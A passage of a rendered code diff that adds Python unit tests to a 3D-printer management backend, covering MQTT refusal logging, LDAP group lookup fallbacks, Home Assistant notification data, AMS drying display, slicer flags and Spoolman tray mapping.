+    def test_response_without_a_result_field_stays_quiet(self, mqtt_client, caplog):
+        """Firmware that omits `result` tells us nothing — don't invent a refusal."""
+        caplog.set_level(logging.INFO, logger="backend.app.services.bambu_mqtt")
+
+        mqtt_client._process_message({"print": {"command": "ams_filament_setting", "sequence_id": "0"}})
+
+        assert self._refusals(caplog) == []
+
+    def test_developer_mode_probe_failure_is_not_reported_as_a_refusal(self, mqtt_client, caplog):
+        """The probe sends this command to the external slot *expecting* a
+        refusal on P1 firmware — that is a reading, not a fault, and promoting
+        it would put an alarming line in every P1 bundle on every reconnect."""
+        caplog.set_level(logging.INFO, logger="backend.app.services.bambu_mqtt")
+        mqtt_client._dev_mode_probe_seq = "7"
+
+        mqtt_client._process_message(
+            {
+                "print": {
+                    "command": "ams_filament_setting",
+                    "result": "failed",
+                    "reason": "mqtt message verify failed",
+                    "sequence_id": "7",
+                }
+            }
+        )
+
+        assert self._refusals(caplog) == []
+
+    def test_user_command_is_not_mistaken_for_the_probe(self, mqtt_client, caplog):
+        """User-initiated publishes hardcode sequence_id "0", so a refusal is
+        still reported while a probe is outstanding under a different seq."""
+        caplog.set_level(logging.INFO, logger="backend.app.services.bambu_mqtt")
+        mqtt_client._dev_mode_probe_seq = "7"
+
+        mqtt_client._process_message(
+            {
+                "print": {
+                    "command": "ams_filament_setting",
+                    "result": "fail",
+                    "reason": "",
+                    "sequence_id": "0",
+                }
+            }
+        )
+
+        assert len(self._refusals(caplog)) == 1
+
+    def test_extrusion_cali_sel_is_untouched(self, mqtt_client, caplog):
+        """The sibling in the same branch keeps its DEBUG-only handling; this
+        change is scoped to the write #2756 is about."""
+        caplog.set_level(logging.INFO, logger="backend.app.services.bambu_mqtt")
+
+        mqtt_client._process_message({"print": {"command": "extrusion_cali_sel", "result": "fail", "sequence_id": "0"}})
+
+        assert self._refusals(caplog) == []
+        assert "extrusion_cali_sel" not in caplog.text

+ 88 - 0
backend/tests/unit/services/test_ldap_service.py

@@ -11,6 +11,7 @@ are not tested here — they require a live LDAP server.
 """
 """
 
 
 import pytest
 import pytest
+from ldap3.core.exceptions import LDAPObjectClassError
 
 
 from backend.app.services.ldap_service import (
 from backend.app.services.ldap_service import (
     LDAPConfig,
     LDAPConfig,
@@ -297,6 +298,11 @@ class _MockConnection:
 
 
     _search_fixture: dict[str, list] = {}
     _search_fixture: dict[str, list] = {}
     _instances: list["_MockConnection"] = []
     _instances: list["_MockConnection"] = []
+    # Filter substring that should raise LDAPObjectClassError instead of
+    # searching, standing in for ldap3's client-side schema validation — it
+    # rejects an object class the server's published schema doesn't define
+    # before the request is ever built (#2769).
+    _raise_object_class_error_on: str | None = None
 
 
     def __init__(self, *args, **kwargs):
     def __init__(self, *args, **kwargs):
         self.entries: list = []
         self.entries: list = []
@@ -320,6 +326,9 @@ class _MockConnection:
         # **kwargs absorbs ldap3 options like size_limit that the real client supports
         # **kwargs absorbs ldap3 options like size_limit that the real client supports
         self.search_calls.append(search_filter or "")
         self.search_calls.append(search_filter or "")
         self.last_attrs = list(attributes) if attributes is not None else None
         self.last_attrs = list(attributes) if attributes is not None else None
+        needle = _MockConnection._raise_object_class_error_on
+        if needle and needle in (search_filter or ""):
+            raise LDAPObjectClassError(f"invalid class in objectClass attribute: {needle}")
         for needle, entries in _MockConnection._search_fixture.items():
         for needle, entries in _MockConnection._search_fixture.items():
             if needle in (search_filter or ""):
             if needle in (search_filter or ""):
                 self.entries = entries
                 self.entries = entries
@@ -333,6 +342,7 @@ def mock_ldap(monkeypatch):
     """Patch Connection + _create_server in ldap_service so authenticate_ldap_user can run offline."""
     """Patch Connection + _create_server in ldap_service so authenticate_ldap_user can run offline."""
     _MockConnection._search_fixture = {}
     _MockConnection._search_fixture = {}
     _MockConnection._instances = []
     _MockConnection._instances = []
+    _MockConnection._raise_object_class_error_on = None
     monkeypatch.setattr("backend.app.services.ldap_service.Connection", _MockConnection)
     monkeypatch.setattr("backend.app.services.ldap_service.Connection", _MockConnection)
     monkeypatch.setattr("backend.app.services.ldap_service._create_server", lambda config: None)
     monkeypatch.setattr("backend.app.services.ldap_service._create_server", lambda config: None)
     return _MockConnection
     return _MockConnection
@@ -433,6 +443,84 @@ class TestAuthenticateLdapUserGroups:
         assert gidnumber_searches == []
         assert gidnumber_searches == []
 
 
 
 
+class TestDirectoryWithoutPosixGroupClass:
+    """A directory whose published schema defines no posixGroup class (#2769).
+
+    ldap3 fetches the schema at connect time (get_info=ALL) and validates object
+    class names in a filter against it before building the request, so both POSIX
+    group searches raise client-side and nothing reaches the server. lldap is the
+    case in the wild: it puts posixAccount on every account it creates, which
+    gives each user a gidNumber, but defines no group class beyond groupOfNames.
+    Left uncaught the exception escaped authenticate_ldap_user and the login route
+    reported it as "Incorrect username or password", so LDAP login was impossible.
+    """
+
+    def test_authenticates_and_keeps_memberof_groups(self, mock_ldap):
+        """The reporter's setup: the mapped membership comes from memberOf, which
+        is read off the user entry and never touches a posixGroup filter."""
+        user_entry = _MockEntry(
+            "uid=peter,ou=people,dc=fablab,dc=test",
+            uid="peter",
+            gidNumber=1001,  # lldap gives every account one
+            memberOf=["cn=AAUStudents,ou=groups,dc=fablab,dc=test"],
+        )
+        mock_ldap._search_fixture = {"(uid=peter)": [user_entry]}
+        mock_ldap._raise_object_class_error_on = "objectClass=posixGroup"
+
+        info = authenticate_ldap_user(_base_config(), "peter", "password")
+
+        assert info is not None
+        assert info.groups == ["cn=AAUStudents,ou=groups,dc=fablab,dc=test"]
+
+    def test_authenticates_with_no_groups_at_all(self, mock_ldap):
+        """No memberOf either. The user still gets in — auto-provisioning assigns
+        the configured default group, which is the whole point of that setting."""
+        user_entry = _MockEntry("uid=peter,ou=people,dc=fablab,dc=test", uid="peter", gidNumber=1001)
+        mock_ldap._search_fixture = {"(uid=peter)": [user_entry]}
+        mock_ldap._raise_object_class_error_on = "objectClass=posixGroup"
+
+        info = authenticate_ldap_user(_base_config(), "peter", "password")
+
+        assert info is not None
+        assert info.username == "peter"
+        assert info.groups == []
+
+    def test_abandons_the_primary_gid_search_after_the_first_rejection(self, mock_ldap):
+        """Both filters name the same class, so once one is rejected the other
+        cannot succeed. Attempting it would only produce a second identical
+        exception to swallow."""
+        user_entry = _MockEntry("uid=peter,ou=people,dc=fablab,dc=test", uid="peter", gidNumber=1001)
+        mock_ldap._search_fixture = {"(uid=peter)": [user_entry]}
+        mock_ldap._raise_object_class_error_on = "objectClass=posixGroup"
+
+        authenticate_ldap_user(_base_config(), "peter", "password")
+
+        service_conn = _MockConnection._instances[0]
+        posix_searches = [call for call in service_conn.search_calls if "posixGroup" in call]
+        assert len(posix_searches) == 1
+        assert "memberUid=peter" in posix_searches[0]
+
+    def test_a_directory_that_defines_the_class_is_untouched(self, mock_ldap):
+        """The guard must not cost a normal directory its POSIX groups — both
+        searches still run and both results still land."""
+        user_entry = _MockEntry("cn=mz,dc=test,dc=com", uid="mz", gidNumber=10002)
+        supplementary = _MockEntry("cn=bambuddy-viewers,ou=groups,dc=test,dc=com")
+        primary = _MockEntry("cn=bambuddy-operators,ou=groups,dc=test,dc=com")
+
+        mock_ldap._search_fixture = {
+            "(uid=mz)": [user_entry],
+            "memberUid=mz": [supplementary],
+            "gidNumber=10002": [primary],
+        }
+
+        info = authenticate_ldap_user(_base_config(), "mz", "password")
+
+        assert info.groups == [
+            "cn=bambuddy-viewers,ou=groups,dc=test,dc=com",
+            "cn=bambuddy-operators,ou=groups,dc=test,dc=com",
+        ]
+
+
 # ---------------------------------------------------------------------------
 # ---------------------------------------------------------------------------
 # Manual provisioning helpers — search_ldap_users + lookup_ldap_user (#1298)
 # Manual provisioning helpers — search_ldap_users + lookup_ldap_user (#1298)
 # ---------------------------------------------------------------------------
 # ---------------------------------------------------------------------------

+ 58 - 0
backend/tests/unit/services/test_notification_service.py

@@ -919,6 +919,64 @@ class TestHomeAssistantProvider:
             # field is JSON rather than key=value lines.
             # field is JSON rather than key=value lines.
             assert payload["data"]["ttl"] == 0
             assert payload["data"]["ttl"] == 0
 
 
+    @pytest.mark.asyncio
+    async def test_send_homeassistant_custom_data_keeps_nested_structures(self, service):
+        """Nested objects and lists reach the notify service unaltered (#1441).
+
+        The three tests around this one all use flat scalars, which is also all
+        the placeholder and the wiki showed — so a user asking whether action
+        buttons work had nothing telling them the field is a verbatim
+        pass-through rather than a key/value list. ``actions`` is the case they
+        asked about: a list of objects, the shape an HA automation writes under
+        ``data.actions``. Nothing between the textarea and the POST inspects the
+        parsed value beyond "is it an object", so this asserts the whole
+        structure rather than a key at a time.
+        """
+        mock_response = MagicMock()
+        mock_response.status_code = 200
+
+        mock_client = AsyncMock()
+        mock_client.post = AsyncMock(return_value=mock_response)
+
+        mock_db = AsyncMock()
+
+        with (
+            patch.object(service, "_get_client", new_callable=AsyncMock) as mock_get_client,
+            patch(
+                "backend.app.api.routes.settings.get_homeassistant_settings",
+                new_callable=AsyncMock,
+            ) as mock_ha_settings,
+        ):
+            mock_get_client.return_value = mock_client
+            mock_ha_settings.return_value = {
+                "ha_url": "http://ha.local:8123",
+                "ha_token": "test-token-123",
+                "ha_enabled": True,
+            }
+
+            actions = [
+                {"action": "SNOOZE_PRINT_FINISHED", "title": "Snooze 20 min"},
+                {"action": "BED_COOL_NOTIFY_ON", "title": "Notify on Bed Cool"},
+            ]
+            config = {
+                "service": "notify.mobile_app_myphone",
+                "data": json.dumps({"ttl": 0, "priority": "high", "group": "3D Printer", "actions": actions}),
+            }
+            success, _ = await service._send_homeassistant(config, "Print Finished", "Print is finished", db=mock_db)
+
+            assert success is True
+            payload = mock_client.post.call_args.kwargs.get("json") or mock_client.post.call_args[1].get("json")
+            assert payload["data"] == {
+                "ttl": 0,
+                "priority": "high",
+                "group": "3D Printer",
+                "actions": actions,
+            }
+            # Spelled out separately: a flattening or scalar-only filter would
+            # still leave the three sibling keys correct, so the equality above
+            # is not on its own evidence that the list survived.
+            assert payload["data"]["actions"] == actions
+
     @pytest.mark.asyncio
     @pytest.mark.asyncio
     async def test_send_homeassistant_without_data_omits_key(self, service):
     async def test_send_homeassistant_without_data_omits_key(self, service):
         """Without configured data the payload carries no "data" key — the
         """Without configured data the payload carries no "data" key — the

+ 132 - 4
backend/tests/unit/services/test_printer_manager.py

@@ -10,6 +10,7 @@ import pytest
 
 
 from backend.app.services.printer_manager import (
 from backend.app.services.printer_manager import (
     PrinterManager,
     PrinterManager,
+    display_temperatures,
     drying_screen_only,
     drying_screen_only,
     get_derived_status_name,
     get_derived_status_name,
     has_stg_cur_idle_bug,
     has_stg_cur_idle_bug,
@@ -1377,9 +1378,10 @@ class TestDryingTargetExposure:
         assert result["ams"][0]["dry_filament"] == "PETG"
         assert result["ams"][0]["dry_filament"] == "PETG"
         assert result["ams"][0]["dry_target_temp"] == 65
         assert result["ams"][0]["dry_target_temp"] == 65
 
 
-    def test_falls_back_to_loaded_tray_when_no_cache(self):
-        """No cached target → derive from first loaded tray's tray_type +
-        RFID-recommended drying_temp (popover seed heuristic)."""
+    def test_falls_back_to_loaded_tray_filament_when_no_cache(self):
+        """No cached target → name the filament from the loaded trays when they
+        agree on a type. The temperature stays unknown: only the cache records
+        what we actually sent."""
         state = self._state_with_ams(
         state = self._state_with_ams(
             {
             {
                 "id": 0,
                 "id": 0,
@@ -1391,7 +1393,7 @@ class TestDryingTargetExposure:
         )
         )
         result = printer_state_to_dict(state, drying_targets=None)
         result = printer_state_to_dict(state, drying_targets=None)
         assert result["ams"][0]["dry_filament"] == "ABS"
         assert result["ams"][0]["dry_filament"] == "ABS"
-        assert result["ams"][0]["dry_target_temp"] == 70
+        assert result["ams"][0]["dry_target_temp"] is None
 
 
     def test_returns_none_when_no_cache_and_empty_trays(self):
     def test_returns_none_when_no_cache_and_empty_trays(self):
         """No cache + no loaded tray with tray_type → both fields are None."""
         """No cache + no loaded tray with tray_type → both fields are None."""
@@ -1419,6 +1421,132 @@ class TestDryingTargetExposure:
         assert result["ams"][0]["dry_filament"] is None
         assert result["ams"][0]["dry_filament"] is None
         assert result["ams"][0]["dry_target_temp"] is None
         assert result["ams"][0]["dry_target_temp"] is None
 
 
+    def test_no_fallback_when_loaded_trays_disagree(self):
+        """#2759 — the reporter's AMS held 2 PETG and 2 PLA and was drying the
+        PLA at 45°C, but the fallback read slot 1 and labelled it "PETG @ 65°C".
+        A mixed unit gives no evidence of what the cycle is running, so the
+        badge must show the countdown alone rather than a confident wrong
+        answer."""
+        state = self._state_with_ams(
+            {
+                "id": 0,
+                "dry_time": 719,
+                "tray": [
+                    {"id": 0, "tray_type": "PETG", "drying_temp": 65, "state": 11},
+                    {"id": 1, "tray_type": "PETG", "drying_temp": 65, "state": 11},
+                    {"id": 2, "tray_type": "PLA", "drying_temp": 45, "state": 11},
+                    {"id": 3, "tray_type": "PLA", "drying_temp": 45, "state": 11},
+                ],
+            }
+        )
+        result = printer_state_to_dict(state, drying_targets={})
+        assert result["ams"][0]["dry_filament"] is None
+        assert result["ams"][0]["dry_target_temp"] is None
+
+    def test_fallback_survives_multiple_trays_of_one_type(self):
+        """Agreement across slots is still evidence of the filament — a unit
+        loaded entirely with PLA keeps the name the mixed case gives up."""
+        state = self._state_with_ams(
+            {
+                "id": 0,
+                "dry_time": 719,
+                "tray": [
+                    {"id": 0, "tray_type": "PLA", "drying_temp": 45, "state": 11},
+                    {"id": 1, "tray_type": "PLA", "drying_temp": 45, "state": 11},
+                    {"id": 2},
+                ],
+            }
+        )
+        result = printer_state_to_dict(state, drying_targets={})
+        assert result["ams"][0]["dry_filament"] == "PLA"
+
+    def test_uniform_unit_never_invents_a_temperature(self):
+        """#2759 follow-up — the reporter's second AMS held only PLA and was
+        drying at the 45°C they picked, but with no cached target the badge
+        answered with the RFID recommendation and read "PLA @ 55°C". Every
+        spool agreeing tells us the filament; it tells us nothing about a
+        temperature the user chose freely in the popover."""
+        state = self._state_with_ams(
+            {
+                "id": 0,
+                "dry_time": 719,
+                "tray": [
+                    {"id": 0, "tray_type": "PLA", "drying_temp": 55, "state": 11},
+                    {"id": 1, "tray_type": "PLA", "drying_temp": 55, "state": 11},
+                ],
+            }
+        )
+        result = printer_state_to_dict(state, drying_targets={})
+        assert result["ams"][0]["dry_filament"] == "PLA"
+        assert result["ams"][0]["dry_target_temp"] is None
+
+    def test_cached_temp_survives_a_unit_whose_trays_disagree(self):
+        """The cache is authoritative for both fields. A mixed unit costs us the
+        filament fallback but must not touch a target we actually sent."""
+        state = self._state_with_ams(
+            {
+                "id": 0,
+                "dry_time": 719,
+                "tray": [
+                    {"id": 0, "tray_type": "PETG", "drying_temp": 65, "state": 11},
+                    {"id": 1, "tray_type": "PLA", "drying_temp": 55, "state": 11},
+                ],
+            }
+        )
+        result = printer_state_to_dict(state, drying_targets={0: {"filament": "PLA", "temp": 45}})
+        assert result["ams"][0]["dry_filament"] == "PLA"
+        assert result["ams"][0]["dry_target_temp"] == 45
+
+
+class TestDisplayTemperatures:
+    """#1422 — the readings handed to the streaming overlay.
+
+    `state.temperatures` doubles as the MQTT client's working memory: alongside
+    the readings it carries derived heater flags and private timestamps. The
+    overlay feed is reached by a token rather than a login, so it gets an
+    allow-list rather than the dict.
+    """
+
+    def test_keeps_the_readings_the_overlay_draws(self):
+        result = display_temperatures({"nozzle": 219.5, "nozzle_target": 220.0, "bed": 60.0, "bed_target": 60.0}, "X1C")
+        assert result == {"nozzle": 219.5, "nozzle_target": 220.0, "bed": 60.0, "bed_target": 60.0}
+
+    def test_drops_heater_flags_and_private_bookkeeping(self):
+        result = display_temperatures(
+            {
+                "nozzle": 219.5,
+                "nozzle_heating": True,
+                "bed_heating": False,
+                "_nozzle_target_set_time": 1754300000.0,
+                "_chamber_target_set_time": 1754300000.0,
+            },
+            "X1C",
+        )
+        assert result == {"nozzle": 219.5}
+
+    def test_chamber_kept_on_models_with_a_real_sensor(self):
+        result = display_temperatures({"chamber": 38.0, "chamber_target": 40.0}, "X1C")
+        assert result == {"chamber": 38.0, "chamber_target": 40.0}
+
+    def test_chamber_dropped_on_models_without_one(self):
+        """P1P, P1S, A1 and A1 mini publish a meaningless chamber_temper. Drawing
+        it on a live stream would state a measurement that doesn't exist."""
+        for model in ("P1S", "P1P", "A1", "A1MINI"):
+            assert display_temperatures({"nozzle": 200.0, "chamber": 38.0}, model) == {"nozzle": 200.0}
+
+    def test_second_nozzle_is_included(self):
+        result = display_temperatures({"nozzle": 220.0, "nozzle_2": 240.0, "nozzle_2_target": 250.0}, "H2D")
+        assert result == {"nozzle": 220.0, "nozzle_2": 240.0, "nozzle_2_target": 250.0}
+
+    def test_unparseable_and_missing_values_are_skipped(self):
+        """A reading that isn't a number is dropped rather than crashing the
+        feed or reaching the page as a string."""
+        assert display_temperatures({"nozzle": None, "bed": "warm", "chamber": 38.0}, "X1C") == {"chamber": 38.0}
+
+    def test_empty_and_none_are_empty(self):
+        assert display_temperatures(None, "X1C") == {}
+        assert display_temperatures({}, "X1C") == {}
+
 
 
 class TestSupportsChamberTemp:
 class TestSupportsChamberTemp:
     """Tests for supports_chamber_temp helper function."""
     """Tests for supports_chamber_temp helper function."""

+ 109 - 0
backend/tests/unit/services/test_slicer_api.py

@@ -309,6 +309,115 @@ class TestSliceWithProfiles:
 
 
         assert b'name="arrange"' not in captured["body"]
         assert b'name="arrange"' not in captured["body"]
 
 
+    @pytest.mark.asyncio
+    async def test_orient_true_emits_form_field(self):
+        """#2548: user-requested auto-orient reaches the sidecar as its own
+        form field, which it turns into ``--orient 1``."""
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            captured["body"] = request.content
+            return httpx.Response(
+                status_code=200,
+                content=b"3MF",
+                headers={"x-print-time-seconds": "0", "x-filament-used-g": "0", "x-filament-used-mm": "0"},
+            )
+
+        service = SlicerApiService("http://sidecar:3000", client=_mock_client(handler))
+        await service.slice_with_profiles(
+            model_bytes=b"x",
+            model_filename="Cube.3mf",
+            printer_profile_json="{}",
+            process_profile_json="{}",
+            filament_profile_jsons=["{}"],
+            orient=True,
+        )
+
+        assert b'name="orient"' in captured["body"]
+
+    @pytest.mark.asyncio
+    async def test_orient_false_omits_form_field(self):
+        """An off flag must be expressed by ABSENCE, never by sending
+        "false". The sidecar branches on ``settings.orient !== undefined``
+        and multipart fields arrive as strings — and ``"false"`` is truthy
+        in JavaScript, so sending it would switch auto-orient ON for every
+        user who left the box unticked."""
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            captured["body"] = request.content
+            return httpx.Response(
+                status_code=200,
+                content=b"3MF",
+                headers={"x-print-time-seconds": "0", "x-filament-used-g": "0", "x-filament-used-mm": "0"},
+            )
+
+        service = SlicerApiService("http://sidecar:3000", client=_mock_client(handler))
+        await service.slice_with_profiles(
+            model_bytes=b"x",
+            model_filename="Cube.3mf",
+            printer_profile_json="{}",
+            process_profile_json="{}",
+            filament_profile_jsons=["{}"],
+            orient=False,
+        )
+
+        body = captured["body"]
+        assert b'name="orient"' not in body
+        assert b"false" not in body
+
+    @pytest.mark.asyncio
+    async def test_profileless_slice_forwards_both_layout_flags(self):
+        """The embedded-settings path and the segfault fallback both run
+        through ``slice_without_profiles``. Arrange / orient are CLI actions
+        on the geometry rather than profile values, so a user's per-slice
+        choice has to survive those routes too (#2548) — before this they
+        could not be expressed there at all."""
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            captured["body"] = request.content
+            return httpx.Response(
+                status_code=200,
+                content=b"3MF",
+                headers={"x-print-time-seconds": "0", "x-filament-used-g": "0", "x-filament-used-mm": "0"},
+            )
+
+        service = SlicerApiService("http://sidecar:3000", client=_mock_client(handler))
+        await service.slice_without_profiles(
+            model_bytes=b"x",
+            model_filename="Cube.3mf",
+            arrange=True,
+            orient=True,
+        )
+
+        body = captured["body"]
+        assert b'name="arrange"' in body
+        assert b'name="orient"' in body
+
+    @pytest.mark.asyncio
+    async def test_profileless_slice_defaults_omit_layout_flags(self):
+        """The filament-discovery preview also uses this method and passes
+        neither flag — it must keep sending the pre-#2548 payload, since
+        rearranging objects would not change which slots a plate consumes
+        but would burn the arrange pass on every preview."""
+        captured: dict = {}
+
+        def handler(request: httpx.Request) -> httpx.Response:
+            captured["body"] = request.content
+            return httpx.Response(
+                status_code=200,
+                content=b"3MF",
+                headers={"x-print-time-seconds": "0", "x-filament-used-g": "0", "x-filament-used-mm": "0"},
+            )
+
+        service = SlicerApiService("http://sidecar:3000", client=_mock_client(handler))
+        await service.slice_without_profiles(model_bytes=b"x", model_filename="Cube.3mf")
+
+        body = captured["body"]
+        assert b'name="arrange"' not in body
+        assert b'name="orient"' not in body
+
     @pytest.mark.asyncio
     @pytest.mark.asyncio
     async def test_multi_filament_sends_one_part_per_profile(self):
     async def test_multi_filament_sends_one_part_per_profile(self):
         # Multi-color slicing requires N filament profiles, in plate-slot
         # Multi-color slicing requires N filament profiles, in plate-slot

+ 243 - 0
backend/tests/unit/services/test_spoolman_slot_mapping_fallback.py

@@ -0,0 +1,243 @@
+"""Slot-to-tray mapping fallbacks on the Spoolman path (#2768).
+
+Bambuddy only learns a print's slot-to-tray mapping at print start when it can
+intercept the command on the printer's local MQTT request topic, or when the
+print came from its own queue. A print dispatched from Bambu Studio while the
+printer is cloud-bound satisfies neither: the command travels through Bambu's
+broker, so ``ActivePrintSpoolman.slot_to_tray`` is NULL and every slot falls
+through to a positional guess (slicer slot 1 to the first loaded tray, and so
+on). The reporter's X1C was loaded out of slicer order, so all four slots were
+charged to the wrong spool and the archive's filament was rewritten to match.
+
+The internal-inventory writer never had this problem because it resolves the
+mapping at completion, where it can read the printer's own ``mapping`` field or
+colour-match the 3MF slots against the loaded trays. These tests cover giving
+the Spoolman writer the same two fallbacks.
+"""
+
+from types import SimpleNamespace
+from unittest.mock import AsyncMock, MagicMock, patch
+
+import pytest
+
+from backend.app.services.spoolman_tracking import _resolve_slot_to_tray_fallback
+
+
+class _AsyncCtx:
+    """Minimal async context manager yielding a stub db session."""
+
+    def __init__(self, db):
+        self._db = db
+
+    async def __aenter__(self):
+        return self._db
+
+    async def __aexit__(self, *exc):
+        return False
+
+
+def _state(**raw):
+    return SimpleNamespace(raw_data=raw, layer_num=0, total_layers=0, tray_change_log=[])
+
+
+def _patched_pm(state):
+    pm = MagicMock()
+    pm.get_status.return_value = state
+    return pm
+
+
+class TestResolveSlotToTrayFallback:
+    def test_decodes_the_printers_own_mapping_field(self):
+        """The reporter's X1C published mapping=[1, 3, 0, 32768] while their
+        AMS was loaded out of slicer order. Snow-encoded, that is AMS 0 slot 2,
+        AMS 0 slot 4, AMS 0 slot 1, and the AMS-HT — nothing like the
+        positional [0, 1, 2, 3] the fallback-free path assumed."""
+        pm = _patched_pm(_state(mapping=[1, 3, 0, 32768]))
+
+        with patch("backend.app.services.printer_manager.printer_manager", pm):
+            mapping, source = _resolve_slot_to_tray_fallback(1, [{"slot_id": 1, "color": "#FF0000"}])
+
+        assert mapping == [1, 3, 0, 128]
+        assert source == "mqtt"
+
+    def test_colour_matches_when_the_printer_publishes_no_mapping(self):
+        """A1/P1S/P2S never publish the mapping field. The 3MF's per-slot
+        colours still identify the trays when each one is unambiguous."""
+        pm = _patched_pm(
+            _state(
+                ams=[
+                    {
+                        "id": 0,
+                        "tray": [
+                            {"id": 0, "tray_color": "00FF00FF", "tray_type": "PLA"},
+                            {"id": 1, "tray_color": "FF0000FF", "tray_type": "PLA"},
+                        ],
+                    }
+                ]
+            )
+        )
+        usage = [{"slot_id": 1, "color": "#FF0000"}, {"slot_id": 2, "color": "#00FF00"}]
+
+        with patch("backend.app.services.printer_manager.printer_manager", pm):
+            mapping, source = _resolve_slot_to_tray_fallback(1, usage)
+
+        assert mapping == [1, 0]
+        assert source == "color_match"
+
+    def test_mapping_field_wins_over_colour_matching(self):
+        """The printer's own field is direct evidence; colour matching is
+        inference. When both are available the field decides."""
+        pm = _patched_pm(
+            _state(
+                mapping=[3],
+                ams=[{"id": 0, "tray": [{"id": 0, "tray_color": "FF0000FF", "tray_type": "PLA"}]}],
+            )
+        )
+
+        with patch("backend.app.services.printer_manager.printer_manager", pm):
+            mapping, source = _resolve_slot_to_tray_fallback(1, [{"slot_id": 1, "color": "#FF0000"}])
+
+        assert mapping == [3]
+        assert source == "mqtt"
+
+    def test_reports_none_when_neither_fallback_answers(self):
+        """Ambiguous colours and no mapping field: say so rather than invent
+        one. The caller keeps the positional default, which is no worse than
+        before, and the log names the reason."""
+        pm = _patched_pm(
+            _state(
+                ams=[
+                    {
+                        "id": 0,
+                        "tray": [
+                            {"id": 0, "tray_color": "FF0000FF", "tray_type": "PLA"},
+                            {"id": 1, "tray_color": "FF0000FF", "tray_type": "PLA"},
+                        ],
+                    }
+                ]
+            )
+        )
+
+        with patch("backend.app.services.printer_manager.printer_manager", pm):
+            mapping, source = _resolve_slot_to_tray_fallback(1, [{"slot_id": 1, "color": "#FF0000"}])
+
+        assert mapping is None
+        assert source == "none"
+
+    def test_reports_none_when_the_printer_is_offline(self):
+        """No live state at completion — the printer dropped off after the
+        print. Nothing to read, and no crash."""
+        with patch("backend.app.services.printer_manager.printer_manager", _patched_pm(None)):
+            mapping, source = _resolve_slot_to_tray_fallback(1, [{"slot_id": 1, "color": "#FF0000"}])
+
+        assert mapping is None
+        assert source == "none"
+
+
+class TestReportUsageUsesTheFallback:
+    """End-to-end through report_usage: the fallback has to reach
+    ``_resolve_global_tray_id`` and change which spool is charged."""
+
+    @staticmethod
+    def _run(tracking, state, spool_by_tag, archive):
+        # The first SELECT fetches the tracking row; every later one fetches the
+        # archive for the colour / type rewrites (#1494, #2563).
+        rows = iter([tracking])
+
+        def _next_row(*_args, **_kwargs):
+            result = MagicMock()
+            result.scalar_one_or_none.return_value = next(rows, archive)
+            return result
+
+        db = AsyncMock()
+        db.execute = AsyncMock(side_effect=_next_row)
+        db.delete = AsyncMock()
+        db.commit = AsyncMock()
+
+        client = AsyncMock()
+        client.find_spool_by_tag = AsyncMock(side_effect=lambda tag: spool_by_tag.get(tag))
+        client.use_spool = AsyncMock()
+
+        pm = _patched_pm(state)
+
+        async def _go():
+            from backend.app.services.spoolman_tracking import report_usage
+
+            with (
+                patch("backend.app.services.spoolman_tracking.async_session", lambda: _AsyncCtx(db)),
+                patch("backend.app.api.routes.settings.get_setting", AsyncMock(return_value="true")),
+                patch(
+                    "backend.app.services.spoolman_tracking._get_spoolman_client_with_fallback",
+                    AsyncMock(return_value=client),
+                ),
+                patch("backend.app.services.spoolman_tracking._get_printer_serial", AsyncMock(return_value="SER")),
+                patch(
+                    "backend.app.services.spoolman_tracking._resolve_spool_id_via_slot_assignment",
+                    AsyncMock(return_value=None),
+                ),
+                patch("backend.app.services.printer_manager.printer_manager", pm),
+            ):
+                await report_usage(printer_id=1, archive_id=42)
+
+        return _go, client
+
+    @pytest.mark.asyncio
+    async def test_mqtt_mapping_charges_the_tray_the_printer_named(self):
+        """One-slot print whose filament actually came from AMS slot 4
+        (global tray 3). With no stored mapping the positional default charges
+        global tray 0 — the wrong spool, and the archive is then rewritten to
+        that spool's colour. The printer's mapping field says otherwise."""
+        tracking = SimpleNamespace(
+            filament_usage=[{"slot_id": 1, "used_g": 25.0, "type": "PLA", "color": "#FF0000"}],
+            ams_trays={
+                "0": {"tray_uuid": "TRAY0UUID", "tag_uid": "", "tray_type": "PLA"},
+                "3": {"tray_uuid": "TRAY3UUID", "tag_uid": "", "tray_type": "PLA"},
+            },
+            slot_to_tray=None,
+            tray_remain_start=None,
+            layer_usage=None,
+            filament_properties=None,
+        )
+        state = _state(mapping=[3])
+        spools = {
+            "TRAY0UUID": {"id": 100, "filament": {"color_hex": "FFFFFF", "material": "PLA"}},
+            "TRAY3UUID": {"id": 300, "filament": {"color_hex": "FF0000", "material": "PLA"}},
+        }
+        archive = SimpleNamespace(filament_color="#FF0000", filament_type="PLA")
+
+        run, client = self._run(tracking, state, spools, archive)
+        await run()
+
+        client.use_spool.assert_awaited_once_with(300, 25.0)
+        # And the visible half of the bug: the archive keeps the red it was
+        # printed in instead of being rewritten to the wrong spool's white.
+        assert archive.filament_color == "#FF0000"
+
+    @pytest.mark.asyncio
+    async def test_a_stored_mapping_is_never_second_guessed(self):
+        """Print start captured the real ams_mapping (LAN print, or a Bambuddy
+        queue job). That is the slicer's own instruction and outranks anything
+        read back off the printer, whose mapping field may still describe an
+        earlier job."""
+        tracking = SimpleNamespace(
+            filament_usage=[{"slot_id": 1, "used_g": 25.0, "type": "PLA", "color": "#FF0000"}],
+            ams_trays={
+                "0": {"tray_uuid": "TRAY0UUID", "tag_uid": "", "tray_type": "PLA"},
+                "3": {"tray_uuid": "TRAY3UUID", "tag_uid": "", "tray_type": "PLA"},
+            },
+            slot_to_tray=[0],
+            tray_remain_start=None,
+            layer_usage=None,
+            filament_properties=None,
+        )
+        state = _state(mapping=[3])
+        spools = {
+            "TRAY0UUID": {"id": 100, "filament": {"color_hex": "FFFFFF", "material": "PLA"}},
+            "TRAY3UUID": {"id": 300, "filament": {"color_hex": "FF0000", "material": "PLA"}},
+        }
+        archive = SimpleNamespace(filament_color="#FF0000", filament_type="PLA")
+
+        run, client = self._run(tracking, state, spools, archive)
+        await run()
+
+        client.use_spool.assert_awaited_once_with(100, 25.0)

Разница между файлами не показана из-за своего большого размера
+ 871 - 44
backend/tests/unit/services/test_virtual_printer.py


+ 112 - 2
backend/tests/unit/services/test_vp_diagnostic.py

@@ -3,12 +3,15 @@
 import tempfile
 import tempfile
 from pathlib import Path
 from pathlib import Path
 from types import SimpleNamespace
 from types import SimpleNamespace
-from unittest.mock import AsyncMock, patch
+from unittest.mock import AsyncMock, mock_open, patch
 
 
 import pytest
 import pytest
 
 
